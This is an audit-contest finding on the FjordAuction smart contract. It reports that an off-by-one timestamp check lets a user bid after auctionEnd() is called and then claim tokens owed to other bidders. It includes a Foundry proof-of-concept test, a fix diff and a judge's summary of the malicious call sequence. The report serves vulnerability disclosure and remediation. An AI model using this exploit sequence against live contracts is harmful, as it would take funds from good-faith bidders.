DeFiFoundry
20,000 USDC
View results
Submission Details
Severity: medium
Valid

Users can bid after auctionEnd called

Summary

The FjordAuction contract contains a vulnerability that allows user to place bids after auctionEnd() called. This issue arises due to improper handling of the auction's end time condition, allowing bids with a timestamp equal to auctionEndTime to be processed.

Vulnerability Details

In FjordAuction contractbid(), unBid() and auctionEnd()functions check if timestamp is bigger or smaller than auctionEndTime. But these checks doesn't handle the condition timestamp==auctionEndTime correctly. And timestamp can easily be manipulated by the nodes. The node creates a block containing transactions. They can alter the value of timestamp put on the block they add.

function bid(uint256 amount) external {
if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}
function auctionEnd() external {
if (block.timestamp < auctionEndTime) {
revert AuctionNotYetEnded();
}

https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordAuction.sol#L182

A malicious user can exploit this vulnerability to their advantage by calling auctionEnd() and then placing a bid exactly at timestamp == auctionEndTime. Since the condition block.timestamp > auctionEndTime does not account for block.timestamp == auctionEndTime, the bid is processed after the auction has technically ended. This bid does not affect the multiplier calculation, as it was placed after the auction period. Consequently, the user's bid does not increase the auction price, potentially leaving insufficient rewards for other users to claim their tokens.

Test:

function testBidAfterAuctionEnded() public {
address bidder1 = address(0x222);
address bidder2 = address(0x333);
address bidder3 = address(0x444);
uint256 bidAmount = 10 ether;
deal(address(fjordPoints), bidder1, bidAmount);
deal(address(fjordPoints), bidder2, bidAmount);
deal(address(fjordPoints), bidder3, 2 * bidAmount);
vm.startPrank(bidder1);
fjordPoints.approve(address(auction), bidAmount);
auction.bid(bidAmount);
vm.startPrank(bidder2);
fjordPoints.approve(address(auction), bidAmount);
auction.bid(bidAmount);
vm.stopPrank();
skip(biddingTime);
auction.auctionEnd();
// User can Bid after auction ended without increasing token price
vm.startPrank(bidder3);
fjordPoints.approve(address(auction), 2 * bidAmount);
auction.bid(2 * bidAmount);
auction.claimTokens();
vm.stopPrank();
// Other users cant claim if all tokens claimed
vm.startPrank(bidder2);
auction.claimTokens();
}

Impact

Users can place bids after the auction's intended end time without increasing the auction price.

As a result of post-auction bids not being accounted for in the multiplier calculation, there may not be enough rewards left for some legitimate users to claim their fair share of tokens.

Tools Used

manual

Recommendations

Update the condition for auctionEnd

function auctionEnd() external {
- if (block.timestamp < auctionEndTime) {
+ if (block.timestamp <= auctionEndTime) {
revert AuctionNotYetEnded();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Users can bid in the same block when the actionEnd could be called (`block.timestamp==actionEndTime`), depending on the order of txs in block they could lose funds

The protocol doesn't properly treat the `block.timestamp == auctionEndTime` case. Impact: High - There are at least two possible impacts here: 1. By chance, user bids could land in a block after the `auctionEnd()` is called, not including them in the multiplier calculation, leading to a situation where there are insufficient funds to pay everyone's claim; 2. By malice, where someone can use a script to call `auctionEnd()` + `bid(totalBids)` + `claimTokens()`, effectively depriving all good faith bidders from tokens. Likelihood: Low – The chances of getting a `block.timestamp == auctionEndTime` are pretty slim, but it’s definitely possible.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.